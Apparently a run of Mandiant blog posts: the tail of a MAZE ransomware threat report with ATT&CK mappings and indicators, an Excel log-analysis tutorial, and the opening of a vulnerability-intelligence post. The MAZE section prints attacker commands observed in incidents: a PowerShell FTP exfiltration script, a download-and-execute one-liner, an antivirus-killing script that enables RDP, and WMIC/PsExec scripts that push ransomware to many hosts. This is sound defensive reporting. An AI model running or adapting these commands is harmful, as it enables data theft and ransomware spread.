  • Five days after data was exfiltrated from a victim environment the actor copied a MAZE ransomware binary to 15 hosts within the victim environment and successfully executed it on a portion of these systems.
  • Attackers employed batch scripts and a series to txt files containing host names to distribute and execute MAZE ransomware on many servers and workstations across the victim environment.
  • An actor deployed MAZE ransomware to tens of hosts, explicitly logging into each system using a domain administrator account created earlier in the intrusion.
  • Immediately following the exfiltration of sensitive data, the actors began deployment of MAZE ransomware to hosts across the network. In some cases, thousands of hosts were ultimately encrypted. The encryption process proceeded as follows:
    • A batch script named start.bat was used to execute a series of secondary batch scripts with names such as xaa3x.bat or xab3x.bat.
    • Each of these batch scripts contained a series of commands that employed the copy command, WMIC, and PsExec to copy and execute a kill script (windows.bat) and an instance of MAZE ransomware (sss.exe) on hosts across the impacted environment
    • Notably, forensic analysis of the impacted environment revealed MAZE deployment scripts targeting ten times as many hosts as were ultimately encrypted.

Implications

Based on our belief that the MAZE ransomware is distributed by multiple actors, we anticipate that the TTPs used throughout incidents associated with this ransomware will continue to vary somewhat, particularly in terms of the initial intrusion vector. For more comprehensive recommendations for addressing ransomware, please refer to our Ransomware Protection and Containment Strategies blog post and the linked white paper.

Mandiant Security Validation Actions

Organizations can validate their security controls against more than 20 MAZE-specific actions with Mandiant Security Validation. Please see our Headline Release Content Updates – April 21, 2020 on the Mandiant Security Validation Customer Portal for more information.

  • A100-877 - Active Directory - BloodHound, CollectionMethod All
  • A150-006 - Command and Control - BEACON, Check-in
  • A101-030 - Command and Control - MAZE Ransomware, C2 Beacon, Variant #1
  • A101-031 - Command and Control - MAZE Ransomware, C2 Beacon, Variant #2
  • A101-032 - Command and Control - MAZE Ransomware, C2 Beacon, Variant #3
  • A100-878 - Command and Control - MAZE Ransomware, C2 Check-in
  • A100-887 - Command and Control - MAZE, DNS Query #1
  • A100-888 - Command and Control - MAZE, DNS Query #2
  • A100-889 - Command and Control - MAZE, DNS Query #3
  • A100-890 -  Command and Control - MAZE, DNS Query #4
  • A100-891 - Command and Control - MAZE, DNS Query #5
  • A100-509 - Exploit Kit Activity - Fallout Exploit Kit CVE-2018-8174, Github PoC
  • A100-339 - Exploit Kit Activity - Fallout Exploit Kit CVE-2018-8174, Landing Page
  • A101-033 - Exploit Kit Activity - Spelevo Exploit Kit, MAZE C2
  • A100-208 - FTP-based Exfil/Upload of PII Data (Various Compression)
  • A104-488 - Host CLI - Collection, Exfiltration: Active Directory Reconnaissance with SharpHound, CollectionMethod All
  • A104-046 - Host CLI - Collection, Exfiltration: Data from Local Drive using PowerShell
  • A104-090 - Host CLI - Collection, Impact: Creation of a Volume Shadow Copy
  • A104-489 - Host CLI - Collection: Privilege Escalation Check with PowerUp, Invoke-AllChecks
  • A104-037 - Host CLI - Credential Access, Discovery: File & Directory Discovery
  • A104-052 - Host CLI - Credential Access: Mimikatz
  • A104-167 - Host CLI - Credential Access: Mimikatz (2.1.1)
  • A104-490 - Host CLI - Defense Evasion, Discovery: Terminate Processes, Malware Analysis Tools
  • A104-491 - Host CLI - Defense Evasion, Persistence: MAZE, Create Target.lnk
  • A104-500 - Host CLI - Discovery, Defense Evasion: Debugger Detection
  • A104-492 - Host CLI - Discovery, Execution: Antivirus Query with WMI, PowerShell
  • A104-374 - Host CLI - Discovery: Enumerate Active Directory Forests
  • A104-493 - Host CLI - Discovery: Enumerate Network Shares
  • A104-481 - Host CLI - Discovery: Language Query Using PowerShell, Current User
  • A104-482 - Host CLI - Discovery: Language Query Using reg query
  • A104-494 - Host CLI - Discovery: MAZE, Dropping Ransomware Note Burn Directory
  • A104-495 - Host CLI - Discovery: MAZE, Traversing Directories and Dropping Ransomware Note, DECRYPT-FILES.html Variant
  • A104-496 - Host CLI - Discovery: MAZE, Traversing Directories and Dropping Ransomware Note, DECRYPT-FILES.txt Variant
  • A104-027 - Host CLI - Discovery: Process Discovery
  • A104-028 - Host CLI - Discovery: Process Discovery with PowerShell
  • A104-029 - Host CLI - Discovery: Remote System Discovery
  • A104-153 - Host CLI - Discovery: Security Software Identification with Tasklist
  • A104-083 - Host CLI - Discovery: System Info
  • A104-483 - Host CLI - Exfiltration: PowerShell FTP Upload
  • A104-498 - Host CLI - Impact: MAZE, Desktop Wallpaper Ransomware Message
  • A104-227 - Host CLI - Initial Access, Lateral Movement: Replication Through Removable Media
  • A100-879 - Malicious File Transfer - Adfind.exe, Download
  • A150-046 - Malicious File Transfer - BEACON, Download
  • A100-880 - Malicious File Transfer - Bloodhound Ingestor Download, C Sharp Executable Variant
  • A100-881 - Malicious File Transfer - Bloodhound Ingestor Download, C Sharp PowerShell Variant
  • A100-882 - Malicious File Transfer - Bloodhound Ingestor Download, PowerShell Variant
  • A101-037 - Malicious File Transfer - MAZE Download, Variant #1
  • A101-038 - Malicious File Transfer - MAZE Download, Variant #2
  • A101-039 - Malicious File Transfer - MAZE Download, Variant #3
  • A101-040 - Malicious File Transfer - MAZE Download, Variant #4
  • A101-041 - Malicious File Transfer - MAZE Download, Variant #5
  • A101-042 - Malicious File Transfer - MAZE Download, Variant #6
  • A101-043 - Malicious File Transfer - MAZE Download, Variant #7
  • A101-044 - Malicious File Transfer - MAZE Download, Variant #8
  • A101-045 - Malicious File Transfer - MAZE Download, Variant #9
  • A101-034 - Malicious File Transfer - MAZE Dropper Download, Variant #1
  • A101-035 - Malicious File Transfer - MAZE Dropper Download, Variant #2
  • A100-885 - Malicious File Transfer - MAZE Dropper Download, Variant #4
  • A101-036 - Malicious File Transfer - MAZE Ransomware, Malicious Macro, PowerShell Script Download
  • A100-284 - Malicious File Transfer - Mimikatz W/ Padding (1MB), Download
  • A100-886 - Malicious File Transfer - Rclone.exe, Download
  • A100-484 - Scanning Activity - Nmap smb-enum-shares, SMB Share Enumeration

Detecting the Techniques

Platform

Signature Name

MVX (covers multiple FireEye technologies)

Bale Detection

FE_Ransomware_Win_MAZE_1

Endpoint Security

WMIC SHADOWCOPY DELETE (METHODOLOGY)

MAZE RANSOMWARE (FAMILY)

Network Security

Ransomware.Win.MAZE

Ransomware.Maze

Ransomware.Maze

MITRE ATT&CK Mappings

Mandiant currently tracks three separate clusters of activity involved in the post-compromise distribution of MAZE ransomware. Future data collection and analysis efforts may reveal additional groups involved in intrusion activity supporting MAZE operations, or may instead allow us to collapse some of these groups into larger clusters. It should also be noted that ‘initial access’ phase techniques have been included in these mappings, though in some cases this access may have been provided by a separate threat actor(s).

MAZE Group 1 MITRE ATT&CK Mapping

ATT&CK Tactic Category

Techniques

Initial Access

T1133: External Remote Services

T1078: Valid Accounts

Execution

T1059: Command-Line Interface

T1086: PowerShell

T1064: Scripting

T1035: Service Execution

Persistence

T1078: Valid Accounts

T1050: New Service

Privilege Escalation

T1078: Valid Accounts

Defense Evasion

T1078: Valid Accounts

T1036: Masquerading

T1027: Obfuscated Files or Information

T1064: Scripting

Credential Access

T1110: Brute Force

T1003: Credential Dumping

Discovery

T1087: Account Discovery

T1482: Domain Trust Discovery

T1083: File and Directory Discovery

T1135: Network Share Discovery

T1069: Permission Groups Discovery

T1018: Remote System Discovery

T1016: System Network Configuration Discovery

Lateral Movement

T1076: Remote Desktop Protocol

T1105: Remote File Copy

Collection

T1005: Data from Local System

Command and Control

T1043: Commonly Used Port

T1105: Remote File Copy

T1071: Standard Application Layer Protocol

Exfiltration

T1002: Data Compressed

T1048: Exfiltration Over Alternative Protocol

Impact

T1486: Data Encrypted for Impact

T1489: Service Stop

MAZE Group 2 MITRE ATT&CK Mapping

ATT&CK Tactic Category

Techniques

Initial Access

T1193: Spearphishing Attachment

Execution

T1059: Command-Line Interface

T1086: PowerShell

T1085: Rundll32

T1064: Scripting

T1204: User Execution

T1028: Windows Remote Management

Persistence

T1078: Valid Accounts

T1050: New Service

T1136: Create Account

Privilege Escalation

T1078: Valid Accounts

T1050: New Service

Defense Evasion

T1078: Valid Accounts

T1140: Deobfuscate/Decode Files or Information

T1107: File Deletion

T1036: Masquerading

Credential Access

T1003: Credential Dumping

T1081: Credentials in Files

T1171: LLMNR/NBT-NS Poisoning

Discovery

T1087: Account Discovery

T1482: Domain Trust Discovery

T1083: File and Directory Discovery

T1135: Network Share Discovery

T1069: Permission Groups Discovery

T1018: Remote System Discovery

T1033: System Owner/User Discovery

Lateral Movement

T1076: Remote Desktop Protocol

T1028: Windows Remote Management

Collection

T1074: Data Staged

T1005: Data from Local System

T1039: Data from Network Shared Drive

Command and Control

T1043: Commonly Used Port

T1219: Remote Access Tools

T1105: Remote File Copy

T1071: Standard Application Layer Protocol

T1032: Standard Cryptographic Protocol

Exfiltration

T1020: Automated Exfiltration

T1002: Data Compressed

T1048: Exfiltration Over Alternative Protocol

Impact

T1486: Data Encrypted for Impact

MAZE Group 3 MITRE ATT&CK Mapping (FIN6)

ATT&CK Tactic Category

Techniques

Initial Access

T1133: External Remote Services

T1078: Valid Accounts

Execution

T1059: Command-Line Interface

T1086: PowerShell

T1064: Scripting

T1035: Service Execution

Persistence

T1078: Valid Accounts

T1031: Modify Existing Service

Privilege Escalation

T1055: Process Injection

T1078: Valid Accounts

Defense Evasion

T1055: Process Injection

T1078: Valid Accounts

T1116: Code Signing

T1089: Disabling Security Tools

T1202: Indirect Command Execution

T1112: Modify Registry

T1027: Obfuscated Files or Information

T1108: Redundant Access

T1064: Scripting

Credential Access

T1003: Credential Dumping

Discovery

T1087: Account Discovery

T1482: Domain Trust Discovery

T1083: File and Directory Discovery

T1069: Permission Groups Discovery

T1018: Remote System Discovery

Lateral Movement

T1097: Pass the Ticket

T1076: Remote Desktop Protocol

T1105: Remote File Copy

T1077: Windows Admin Shares

Collection

T1074: Data Staged

T1039: Data from Network Shared Drive

Command and Control

T1043: Commonly Used Port

T1219: Remote Access Tools

T1105: Remote File Copy

T1071: Standard Application Layer Protocol

T1032: Standard Cryptographic Protocol

Exfiltration

T1002: Data Compressed

Impact

T1486: Data Encrypted for Impact

T1490: Inhibit System Recovery

T1489: Service Stop

Example Commands Observed in MAZE Ransomware Incidents

function Enum-UsersFolders($PathEnum)
{
    $foldersArr = 'Desktop','Downloads','Documents','AppData/Roaming','AppData/Local'

    Get-ChildItem -Path $PathEnum'/c$' -ErrorAction SilentlyContinue
    Get-ChildItem -Path $PathEnum'/c$/Program Files' -ErrorAction SilentlyContinue
    Get-ChildItem -Path $PathEnum'/c$/Program Files (x86)' -ErrorAction SilentlyContinue

    foreach($Directory in Get-ChildItem -Path $PathEnum'/c$/Users' -ErrorAction SilentlyContinue) {

        foreach($SeachDir in $foldersArr) {
            Get-ChildItem -Path $PathEnum'/c$/Users/'$Directory'/'$SeachDir -ErrorAction SilentlyContinue
        }
    }
}

PowerShell reconnaissance script used to enumerate directories

$Dir="C:/Windows/Temp/"
#ftp server
$ftp = "ftp://<IP Address>/incoming/"
$user = "<username>"
$pass = "<password>"
$webclient = New-Object System.Net.WebClient
$webclient.Credentials = New-Object System.Net.NetworkCredential($user,$pass)
#list every sql server trace file
foreach($item in (dir $Dir "*.7z")){
   "Uploading $item..."
   $uri = New-Object System.Uri($ftp+$item.Name)
   $webclient.UploadFile($uri, $item.FullName)
}

Decoded FTP upload PowerShell script

powershell -nop -exec bypass IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:43984/'); Add-FtpFile -ftpFilePath "ftp://<IP  Address>/cobalt_uploads/<file name>" -localFile "<local file path>\ <file name> " -userName "<username>" -password "<password>"

Decoded FTP upload PowerShell script

[…]
echo 7
echo 7
taskkill /im csrss_tc.exe /f
taskkill /im kwsprod.exe /f
taskkill /im avkwctl.exe /f
taskkill /im rnav.exe /f
taskkill /im crssvc.exe /f
sc config CSAuth start= disabled
taskkill /im vsserv.exe /f
taskkill /im ppmcativedetection.exe /f
[…]
taskkill /im sahookmain.exe /f
taskkill /im mcinfo.exe /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall set rule group="remote desktop" new enable=Ye
c:\windows\temp\sss.exe

Excerpt from windows.bat kill script

start copy sss.exe \\<internal IP>\c$\windows\temp\
start copy sss.exe \\<internal IP>\c$\windows\temp\

start copy windows.bat \\<internal IP>\c$\windows\temp\
start copy windows.bat \\<internal IP>\c$\windows\temp\

start wmic /node:"<internal IP>" /user:"<DOMAIN\adminaccount>" /password:"<password>" process call create "c:\windows\temp\sss.exe"

start wmic /node:"<internal IP>" /user:"<DOMAIN\adminaccount>" /password:"<password>" process call create "c:\windows\temp\sss.exe"

start wmic /node:"<internal IP>" /user:"<DOMAIN\adminaccount>" /password:"<password>" process call create "cmd.exe /c c:\windows\temp\windows.bat"

start wmic /node:"<internal IP>" /user:"<DOMAIN\adminaccount>" /password:"<password>" process call create "cmd.exe /c c:\windows\temp\windows.bat"

start wmic /node:"<internal IP>" /user:"<DOMAIN\adminaccount>" /password:"<password>" process call create "cmd.exe /c copy \\<internal IP>\c$\windows\temp\sss.exe c:\windows\temp\"

start wmic /node:"<internal IP>" /user:"<DOMAIN\adminaccount>" /password:"<password>" process call create "cmd.exe /c copy \\<internal IP>\c$\windows\temp\sss.exe c:\windows\temp\"

start wmic /node:"<internal IP>" /user:"<DOMAIN\adminaccount>" /password:"<password>" process call create "cmd.exe /c copy \\<internal IP>\c$\windows\temp\windows.bat c:\windows\temp\"

start wmic /node:"<internal IP>" /user:"<DOMAIN\adminaccount>" /password:"<password>" process call create "cmd.exe /c copy \\<internal IP>\c$\windows\temp\windows.bat c:\windows\temp\"

start psexec.exe \\<internal IP> -u <DOMAIN\adminaccount> -p "<password>" -d -h -r rtrsd -s -accepteula -nobanner c:\windows\temp\sss.exe

start psexec.exe \\<internal IP> -u <DOMAIN\adminaccount> -p "<password>" -d -h -r rtrsd -s -accepteula -nobanner c:\windows\temp\sss.exe

start psexec.exe \\<internal IP> -u <DOMAIN\adminaccount> -p "<password>" -d -h -r rtrsd -s -accepteula -nobanner c:\windows\temp\windows.bat

start psexec.exe \\<internal IP> -u < DOMAIN\adminaccount> -p "<password>" -d -h -r rtrsd -s -accepteula -nobanner c:\windows\temp\windows.bat

Example commands from MAZE distribution scripts

@echo off
del done.txt
del offline.txt
rem Loop thru list of computer names in file specified on command-line
for /f %%i in (%1) do call :check_machine %%i
goto end
:check_machine
rem Check to see if machine is up.
ping -n 1 %1|Find "TTL=" >NUL 2>NUL
if errorlevel 1 goto down
echo %1
START cmd /c "copy [Location of MAZE binary] \\%1\c$\windows\temp && exit"
timeout 1 > NUL
echo %1 >> done.txt
rem wmic /node:"%1" process call create "regsvr32.exe /i C:\windows\temp\[MAZE binary name]" >> done.txt
START "" cmd /c "wmic /node:"%1" process call create "regsvr32.exe /i C:\windows\temp\[MAZE binary name]" && exit"
goto end
:down
  rem Report machine down
  echo %1 >> offline.txt
:end

Example MAZE distribution script

Indicators of Compromise

Maze Payloads

064058cf092063a5b69ed8fd2a1a04fe

0f841c6332c89eaa7cac14c9d5b1d35b

108a298b4ed5b4e77541061f32e55751

11308e450b1f17954f531122a56fae3b

15d7dd126391b0e7963c562a6cf3992c

21a563f958b73d453ad91e251b11855c

27c5ecbb94b84c315d56673a851b6cf9

2f78ff32cbb3c478865a88276248d419

335aba8d135cc2e66549080ec9e8c8b7

3bfcba2dd05e1c75f86c008f4d245f62

46b98ee908d08f15137e509e5e69db1b

5774f35d180c0702741a46d98190ff37

5df79164b6d0661277f11691121b1d53

658e9deec68cf5d33ee0779f54806cc2

65cf08ffaf12e47de8cd37098aac5b33

79d137d91be9819930eeb3876e4fbe79

8045b3d2d4a6084f14618b028710ce85

8205a1106ae91d0b0705992d61e84ab2

83b8d994b989f6cbeea3e1a5d68ca5d8

868d604146e7e5cb5995934b085846e3

87239ce48fc8196a5ab66d8562f48f26

89e1ddb8cc86c710ee068d6c6bf300f4

910aa49813ee4cc7e4fa0074db5e454a

9eb13d56c363df67490bcc2149229e4c

a0c5b4adbcd9eb6de9d32537b16c423b

a3a3495ae2fc83479baeaf1878e1ea84

b02be7a336dcc6635172e0d6ec24c554

b40a9eda37493425782bda4a3d9dad58

b4d6cb4e52bb525ebe43349076a240df

b6786f141148925010122819047d1882

b93616a1ea4f4a131cc0507e6c789f94

bd9838d84fd77205011e8b0c2bd711e0

be537a66d01c67076c8491b05866c894

bf2e43ff8542e73c1b27291e0df06afd

c3ce5e8075f506e396ee601f2757a2bd

d2dda72ff2fbbb89bd871c5fc21ee96a

d3eaab616883fcf51dcbdb4769dd86df

d552be44a11d831e874e05cadafe04b6

deebbea18401e8b5e83c410c6d3a8b4e

dfa4631ec2b8459b1041168b1b1d5105

e57ba11045a4b7bc30bd2d33498ef194

e69a8eb94f65480980deaf1ff5a431a6

ef95c48e750c1a3b1af8f5446fa04f54

f04d404d84be66e64a584d425844b926

f457bb5060543db3146291d8c9ad1001

f5ecda7dd8bb1c514f93c09cea8ae00d

f83cef2bf33a4d43e58b771e81af3ecc

fba4cbb7167176990d5a8d24e9505f71

Maze Check-in IPs

91.218.114.11

91.218.114.25

91.218.114.26

91.218.114.31

91.218.114.32

91.218.114.37

91.218.114.38

91.218.114.4

91.218.114.77

91.218.114.79

92.63.11.151

92.63.15.6 

92.63.15.8 

92.63.17.245

92.63.194.20

92.63.194.3

92.63.29.137

92.63.32.2 

92.63.32.52

92.63.32.55

92.63.32.57

92.63.37.100

92.63.8.47

Maze-related Domains

aoacugmutagkwctu[.]onion

mazedecrypt[.]top 

mazenews[.]top

newsmaze[.]top

Maze Download URLs

http://104.168.174.32/wordupd_3.0.1.tmp

http://104.168.198.208/wordupd.tmp

http://104.168.201.35/dospizdos.tmp

http://104.168.201.47/wordupd.tmp

http://104.168.215.54/wordupd.tmp

http://149.56.245.196/wordupd.tmp

http://192.119.106.235/mswordupd.tmp

http://192.119.106.235/officeupd.tmp

http://192.99.172.143/winupd.tmp

http://54.39.233.188/win163.65.tmp

http://91.208.184.174:8079/windef.exe

http://agenziainformazioni[.]icu/wordupd.tmp

http://www.download-invoice[.]site/Invoice_29557473.exe

Malicious Documents

1a26c9b6ba40e4e3c3dce12de266ae10

53d5bdc6bd7904b44078cf80e239d42b

79271dc08052480a578d583a298951c5

a2d631fcb08a6c840c23a8f46f6892dd

ad30987a53b1b0264d806805ce1a2561

c09af442e8c808c953f4fa461956a30f

ee26e33725b14850b1776a67bd8f2d0a

BEACON C2s

173.209.43.61

193.36.237.173

37.1.213.9

37.252.7.142

5.199.167.188

checksoffice[.]me

drivers.updatecenter[.]icu

plaintsotherest[.]net

thesawmeinrew[.]net

updates.updatecenter[.]icu

Cobalt Strike Binaries

7507fe19afbda652e9b2768c10ad639f

a93b86b2530cc988f801462ead702d84

4f57e35a89e257952c3809211bef78ea

bad6fc87a98d1663be0df23aedaf1c62

f5ef96251f183f7fc63205d8ebf30cbf

c818cc38f46c604f8576118f12fd0a63

078cf6db38725c37030c79ef73519c0c

c255daaa8abfadc12c9ae8ae2d148b31

1fef99f05bf5ae78a28d521612506057

cebe4799b6aff9cead533536b09fecd1

4ccca6ff9b667a01df55326fcc850219

bad6fc87a98d1663be0df23aedaf1c62

Meterpreter C2s

5.199.167.188

Other Related Files

3A5A9D40D4592C344920DD082029B362 (related script)

76f8f28bd51efa03ab992fdb050c8382 (MAZE execution artifact)

b5aa49c1bf4179452a85862ade3ef317 (windows.bat kill script) 

fad3c6914d798e29a3fd8e415f1608f4 (related script)

Tools & Utilities

27304b246c7d5b4e149124d5f93c5b01 (PsExec)

42badc1d2f03a8b1e4875740d3d49336 (7zip)

75b55bb34dac9d02740b9ad6b6820360 (PsExec)

9b02dd2a1a15e94922be3f85129083ac (AdFind)

c621a9f931e4ebf37dace74efcce11f2 (SMBTools)

f413b4a2242bb60829c9a470eea4dfb6 (winRAR) 

Email Sender Domains

att-customer[.]com

att-information[.]com

att-newsroom[.]com

att-plans[.]com

bezahlen-1und1[.]icu

bzst-info[.]icu

bzst-inform[.]icu

bzstinfo[.]icu

bzstinform[.]icu

canada-post[.]icu

canadapost-delivery[.]icu

canadapost-tracking[.]icu

hilfe-center-1und1[.]icu

hilfe-center-internetag[.]icu

trackweb-canadapost[.]icu

Sender Domain Registrant Addresses

abusereceive@hitler.rocks

gladkoff1991@yandex.ru

Mandiant Threat Intelligence will host an exclusive webinar on Thursday, May 21, 2020, at 8 a.m. PT / 11 a.m. ET to provide updated insight and information into the MAZE ransomware threat, and to answer questions from attendees. Register today to reserve your spot.

Excelerating Analysis, Part 2 — X[LOOKUP] Gon’ Pivot To Ya

In December 2019, we published a blog post on augmenting analysis using Microsoft Excel for various data sets for incident response investigations. As we described, investigations often include custom or proprietary log formats and miscellaneous, non-traditional forensic artifacts. There are, of course, a variety of ways to tackle this task, but Excel stands out as a reliable way to analyze and transform a majority of data sets we encounter.

In our first post, we discussed summarizing verbose artifacts using the CONCAT function, converting timestamps using the TIME function, and using the COUNTIF function for log baselining. In this post, we will cover two additional versatile features of Excel: LOOKUP functions and PivotTables.

For this scenario, we will use a dataset of logon events for an example Microsoft Office 365 (O365) instance to demonstrate how an analyst can enrich information in the dataset. Then we will demonstrate some examples of how to use PivotTables to summarize information and highlight anomalies in the data quickly.

Our data contains the following columns:

  • Description – Event description
  • User – User’s name
  • User Principle Name – email address
  • App – such as Office 365, Sharepoint, etc.
  • Location – Country
  • Date
  • IP address
  • User agent (simplified)
  • Organization – associated with IP address (as identified by O365)


Figure 1: O365 data set

LOOKUP for Data Enrichment

It may be useful to add more information to the data that could help us in analysis that isn’t provided by the original log source. A step FireEye Mandiant often performs during investigations is to take all unique IP addresses and query threat intelligence sources for each IP address for reputation, WHOIS information, connections to known threat actor activity, etc. This grants more information about each IP address that we can take into consideration in our analysis.

While FireEye Mandiant is privy to historical engagement data and Mandiant Threat Intelligence, if security teams or organizations do not have access to commercial threat intelligence feeds, there are numerous open source intelligence services that can be leveraged.

We can also use IP address geolocation services to obtain latitude and longitude related to each source IP address. This information may be useful in identifying anomalous logons based on geographical location.

After taking all source IP addresses, running them against threat intelligence feeds and geolocating them, we have the following data added to a second sheet called “IP Address Intel” in our Excel document:


Figure 2: IP address enrichment

We can already see before we even dive into the logs themselves that we have suspicious activity: The five IP addresses in the 203.0.113.0/24 range in our data are known to be associated with activity connected to a fictional threat actor tracked as TMP.OGRE.

To enrich our original dataset, we will add three columns to our data to integrate the supplementary information: “Latitude,” “Longitude,” and “Threat Intel” (Figure 3). We can use the VLOOKUP or XLOOKUP functions to quickly retrieve the supplementary data and integrate it into our main O365 log sheet.


Figure 3: Enrichment columns

VLOOKUP

The traditional way to look up particular data in another array is by using the VLOOKUP function. We will use the following formula to reference the “Latitude” values for a given IP address:


Figure 4: VLOOKUP formula for Latitude

There are four parts to this formula:

  1. Value to look up:
    • This dictates what cell value we are going to look up more information for. In this case, it is cell G2, which is the IP address.
  2. Table array:
    • This defines the entire array in which we will look up our value and return data from. The first column in the array must contain the value being looked up. In the aforementioned example, we are searching in ‘IP Address Intel’!$A$2:$D:$15. In other words, we are looking in the other sheet in this workbook we created earlier titled “IP Address Intel”, then in that sheet, search in the cell range of A2 to D15.

      Figure 5: VLOOKUP table array

      Note the use of the “$” to ensure these are absolute references and will not be updated by Excel if we copy this formula to other cells.
  3. Column index number:
    • This identifies the column number from which to return data. The first column is considered column 1. We want to return the “Latitude” value for the given IP address, so in the aforementioned example, we tell Excel to return data from column 2.
  4. Range lookup (match type)
    • This part of the formula tells Excel what type of matching to perform on the value being looked up. Excel defaults to “Approximate” matching, which assumes the data is sorted and will match the closest value. We want to perform “Exact” matching, so we put “0” here (“FALSE” is also accepted).

With the VLOOKUP function complete for the “Latitude” data, we can use the fill handle to update this field for the rest of the data set.

To get the values for the “Longitude” and “Threat Intel” columns, we repeat the process by using a similar function and, adjusting the column index number to reference the appropriate columns, then use the fill handle to fill in the rest of the column in our O365 data sheet:

  • For Longitude:
    • =VLOOKUP(G2,'IP Address Intel'!$A$2:$D$15,3,0)
  • For Threat Intel:
    • =VLOOKUP(G2,'IP Address Intel'!$A$2:$D$15,4,0)

Bonus Option: XLOOKUP

The XLOOKUP function in Excel is a more efficient way to reference the threat intelligence data sheet. XLOOKUP is a newer function introduced to Excel to replace the legacy VLOOKUP function and, at the time of writing this post, is only available to “O365 subscribers in the Monthly channel”, according to Microsoft. In this instance, we will also leverage Excel’s dynamic arrays and “spilling” to fill in this data more efficiently, instead of making an XLOOKUP function for each column.

NOTE: To utilize dynamic arrays and spilling, the data we are seeking to enrich cannot be in the form of a “Table” object. Instead, we will apply filters to the top row of our O365 data set by selecting the “Filter” option under “Sort & Filter” in the “Home” ribbon:


Figure 6: Filter option

To reference the threat intelligence data sheet using XLOOKUP, we will use the following formula:


Figure 7: XLOOKUP function for enrichment

There are three parts to this XLOOKUP formula:

  1. Value to lookup:
    • This dictates what cell value we are going to look up more information for. In this case, it is cell G2, which is the IP address.
  2. Array to look in:
    • This will be the array of data in which Excel will search for the value to look up. Excel does exact matching by default for XLOOKUP. In the aforementioned example, we are searching in ‘IP Address Intel’!$A$2:$A:$15. In other words, we are looking in the other sheet in this workbook titled “IP Address Intel”, then in that sheet, search in the cell range of A2 to A15:

      Figure 8: XLOOKUP array to look in

      Note the use of the “$” to ensure these are absolute references and will not be updated by Excel if we copy this formula to other cells.
  3. Array of data to return:
    • This part will be the array of data from which Excel will return data. In this case, Excel will return the data contained within the absolute range of B2 to D15 from the “IP Address Intel” sheet for the value that was looked up. In the aforementioned example formula, it will return the values in the row for the IP address 198.51.100.126:

      Figure 9: Data to be returned from ‘IP Address Intel’ sheet

      Because this is leveraging dynamic arrays and spilling, all three cells of the returned data will populate, as seen in Figure 4.

Now that our dataset is completely enriched by either using VLOOKUP or XLOOKUP, we can start hunting for anomalous activity. As a quick first step, since we know at least a handful of IP addresses are potentially malicious, we can filter on the “Threat Intel” column for all rows that match “TMP.OGRE” and reveal logons with source IP addresses related to known threat actors. Now we have timeframes and suspected compromised accounts to pivot off of for additional hunting through other data.

PIVOT! PIVOT! PIVOT!

One of the most useful tools for highlighting anomalies by summarizing data, performing frequency analysis and quickly obtaining other statistics about a given dataset is Excel’s PivotTable function.

Location Anomalies

Let’s utilize a PivotTable to perform frequency analysis on the location from which users logged in. This type of technique may highlight activity where a user account logged in from a location which is unusual for them.

To create a PivotTable for our data, we can select any cell in our O365 data and select the entire range with Ctrl+A. Then, under the “Insert” tab in the ribbon, select “PivotTable”:


Figure 10: PivotTable selection

This will bring up a window, as seen in Figure 11, to confirm the data for which we want to make a PivotTable (Step 1 in Figure 11). Since we selected our O365 log data set with Ctrl+A, this should be automatically populated. It will also ask where we want to put the PivotTable (Step 2 in Figure 11). In this instance, we created another sheet called “PivotTable 1” to place the PivotTable:


Figure 11: PivotTable creation

Now that the PivotTable is created, we must select how we want to populate the PivotTable using our data. Remember, we are trying to determine the locations from which all users logged in. We will want a row for each user and a sub-row for each location the user has logged in from. Let’s add a count of how many times they logged in from each location as well. We will use the “Date” field to do this for this example:


Figure 12: PivotTable field definitions

Examining this table, we can immediately see there are two users with source location anomalies: Ginger Breadman and William Brody have a small number of logons from “FarFarAway”, which is abnormal for these users based on this data set.

We can add more data to this PivotTable to get a timeframe of this suspicious activity by adding two more “Date” fields to the “Values” area. Excel defaults to “Count” of whatever field we drop in this area, but we will change this to the “Minimum” and “Maximum” values by using the “Value Field Settings”, as seen in Figure 13.


Figure 13: Adding min and max dates

Now we have a PivotTable that shows us anomalous locations for logons, as well as the timeframe in which the logons occurred, so we can hone our investigation. For this example, we also formatted all cells with timestamp values to reflect the format FireEye Mandiant typically uses during analysis by selecting all the appropriate cells, right-clicking and choosing “Format Cells”, and using a “Custom” format of “YYYY-MM-DD HH:MM:SS”.


Figure 14: PivotTable with suspicious locations and timeframe

IP Address Anomalies

Geolocation anomalies may not always be valuable. However, using a similar configuration as the previous example, we can identify suspicious source IP addresses. We will add “User Principle Name” and “IP Address” fields as Rows, and “IP Address” as Values. Let’s also add the “App” field to Columns. Our field settings and resulting table are displayed in Figure 15:


Figure 15: PivotTable with IP addresses and apps

With just a few clicks, we have a summarized table indicating which IP addresses each user logged in from, and which app they logged into. We can quickly identify two users logged in from IP addresses in the 203.0.113.0/24 range six times, and which applications they logged into from each of these IP addresses.

While these are just a couple use cases, there are many ways to format and view evidence using PivotTables. We recommend trying PivotTables on any data set being reviewed with Excel and experimenting with the Rows, Columns, and Values parameters.

We also recommend adjusting the PivotTable options, which can help reformat the table itself into a format that might fit requirements.

Conclusion

These Excel functions are used frequently during investigations at FireEye Mandiant and are considered important forensic analysis techniques. The examples we give here are just a glimpse into the utility of LOOKUP functions and PivotTables. LOOKUP functions can be used to reference a multitude of data sources and can be applied in other situations during investigations such as tracking remediation and analysis efforts.

PivotTables may be used in a variety of ways as well, depending on what data is available, and what sort of information is being analyzed to identify suspicious activity. Employing these techniques, alongside the ones we highlighted previously, on a consistent basis will go a long way in "excelerating" forensic analysis skills and efficiency.

Putting the Model to Work: Enabling Defenders With Vulnerability Intelligence — Intelligence for Vulnerability Management, Part Four

One of the critical strategic and tactical roles that cyber threat intelligence (CTI) plays is in the tracking, analysis, and prioritization of software vulnerabilities that could potentially put an organization’s data, employees and customers at risk. In this four-part blog series, FireEye Mandiant Threat Intelligence highlights the value of CTI in enabling vulnerability management, and unveils new research into the latest threats, trends and recommendations.

Organizations often have to make difficult choices when it comes to patch prioritization. Many are faced with securing complex network infrastructure with thousands of systems, different operating systems, and disparate geographical locations. Even when armed with a simplified vulnerability rating system, it can be hard to know where to start. This problem is compounded by the ever-changing threat landscape and increased access to zero-days.

At FireEye, we apply the rich body of knowledge accumulated over years of global intelligence collection, incident response investigations, and device detections, to help our customers defend their networks. This understanding helps us to discern between hundreds of newly disclosed vulnerabilities to provide ratings and assessments that empower network defenders to focus on the most significant threats and effectively mitigate risk to their organizations. 

